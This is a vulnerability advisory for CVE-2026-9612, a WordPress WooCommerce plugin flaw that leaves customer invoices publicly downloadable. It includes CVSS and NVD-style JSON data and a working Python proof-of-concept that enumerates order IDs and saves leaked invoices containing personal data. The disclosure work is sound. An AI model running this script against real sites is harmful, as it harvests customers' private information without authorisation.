Security Vulnerability Report
中文
CVE-2026-9612 CVSS 5.3 MEDIUM

CVE-2026-9612

Published: 2026-06-24 07:16:30
Last Modified: 2026-06-25 13:26:12

Description

The WhatsOrder – Instant Checkout for WooCommerce plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.0.1 via the yapacdev_generate_order_pdf. This makes it possible for unauthenticated attackers to extract sensitive customer PII and order details — including full name, email address, phone number, billing address, ordered items with quantities and prices, applied coupons, shipping method, and order total — from any customer's invoice by enumerating sequential order IDs. Invoice HTML files are written to the publicly accessible wp-content/uploads/whatsorder_invoices/ directory, which is created without an .htaccess deny rule or index.php guard, making every invoice directly downloadable over HTTP with no authentication check.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WhatsOrder – Instant Checkout for WooCommerce <= 1.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-9612 PoC - WhatsOrder Plugin Sensitive Information Exposure # Exploits unauthenticated access to invoice files in wp-content/uploads/whatsorder_invoices/ import requests import sys from concurrent.futures import ThreadPoolExecutor TARGET_URL = "https://target-wordpress-site.com" INVOICE_DIR = "/wp-content/uploads/whatsorder_invoices/" START_ID = 1 END_ID = 1000 # Adjust based on expected number of orders THREADS = 10 def fetch_invoice(order_id): """Attempt to fetch an invoice file by order ID enumeration.""" # Common file naming patterns for the invoice url = f"{TARGET_URL}{INVOICE_DIR}{order_id}.html" try: response = requests.get(url, timeout=10, verify=False, headers={"User-Agent": "Mozilla/5.0"}) if response.status_code == 200 and len(response.content) > 0: # Check if the response contains PII indicators pii_indicators = ["email", "phone", "address", "order", "total", "billing", "shipping", "coupon"] if any(indicator in response.text.lower() for indicator in pii_indicators): print(f"[+] Found invoice for order #{order_id}") # Save the leaked invoice data with open(f"leaked_invoice_{order_id}.html", "w", encoding="utf-8") as f: f.write(response.text) return order_id except requests.exceptions.RequestException: pass return None def exploit(): print(f"[*] Starting CVE-2026-9612 exploit against {TARGET_URL}") print(f"[*] Enumerating order IDs from {START_ID} to {END_ID}") leaked_orders = [] with ThreadPoolExecutor(max_workers=THREADS) as executor: results = executor.map(fetch_invoice, range(START_ID, END_ID + 1)) for result in results: if result is not None: leaked_orders.append(result) print(f"\n[*] Exploitation complete. {len(leaked_orders)} invoices leaked.") print(f"[*] Leaked order IDs: {leaked_orders}") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9612", "sourceIdentifier": "[email protected]", "published": "2026-06-24T07:16:29.610", "lastModified": "2026-06-25T13:26:11.740", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WhatsOrder – Instant Checkout for WooCommerce plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.0.1 via the yapacdev_generate_order_pdf. This makes it possible for unauthenticated attackers to extract sensitive customer PII and order details — including full name, email address, phone number, billing address, ordered items with quantities and prices, applied coupons, shipping method, and order total — from any customer's invoice by enumerating sequential order IDs. Invoice HTML files are written to the publicly accessible wp-content/uploads/whatsorder_invoices/ directory, which is created without an .htaccess deny rule or index.php guard, making every invoice directly downloadable over HTTP with no authentication check."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "yapacdev", "product": "WhatsOrder – Instant Checkout for WooCommerce", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThanOrEqual": "1.0.1", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-24T12:19:12.046726Z", "id": "CVE-2026-9612", "options": [{"exploitation": "none"}, {"automatable": "yes"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/whatsorder-instant-checkout-for-woocommerce/tags/1.0.0/whatsorder-instant-checkout-for-woocommerce.php#L159", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/whatsorder-instant-checkout-for-woocommerce/tags/1.0.0/whatsorder-instant-checkout-for-woocommerce.php#L222", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/whatsorder-instant-checkout-for-woocommerce/tags/1.0.0/whatsorder-instant-checkout-for-woocommerce.php#L225", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/whatsorder-instant-checkout-for-woocommerce/tags/1.0.1/whatsorder-instant-checkout-for-woocommerce.php#L159", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/whatsorder-instant-checkout-for-woocommerce/tags/1.0.1/whatsorder-instant-checkout-for-woocommerce.php#L222", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/whatsorder-instant-checkout-for-woocommerce/tags/1.0.1/whatsorder-instant-checkout-for-woocommerce.php#L225", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e5d625d6-57e0-4dc7-b3ee-cb0639a02230?source=cve", "source": "[email protected]"}]}}